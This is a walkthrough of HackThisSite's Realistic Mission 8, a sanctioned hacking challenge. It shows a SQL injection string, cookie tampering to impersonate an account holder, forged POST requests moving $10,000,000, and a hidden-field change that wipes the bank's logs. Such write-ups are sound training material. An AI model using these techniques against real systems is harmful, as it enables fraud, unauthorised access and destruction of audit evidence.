HackThisSite - Realistic Mission 8

Challenge

Move Gary Hunter’s $10,000,000 to dropCash and clear the bank logs.

Solution

1. Find the account

The User Info search endpoint is vulnerable to SQL injection. From the current search form, submit:

' OR 1=1 --

The result includes the target account:

GaryWilliamHunter : -- $$$$$ --

2. Register and inspect the authenticated workflow

Register a temporary account, then log in through login1.php → login2.php. The account page exposes two important client-controlled values:

• accountUsername cookie
• hidden TO and AMOUNT fields in the transfer form

The target amount is 10000000.

3. Tamper with the cookie and transfer

Set the challenge cookie identity to Gary’s account, then submit the transfer form:

Cookie: accountUsername=GaryWilliamHunter

POST /missions/realistic/8/movemoney.php
TO=dropCash
AMOUNT=10000000

The server returned:

Congratulations, 1st Objective Done, Now Cover Your Tracks

4. Clear the logs

The normal clear-files form targets <username>SQLFiles. Change its hidden dir value to logFiles and submit:

POST /missions/realistic/8/cleardir.php
dir=logFiles

The challenge then displayed:

Congrats
Good Job, xxx, You have sucessfully completed Mission 8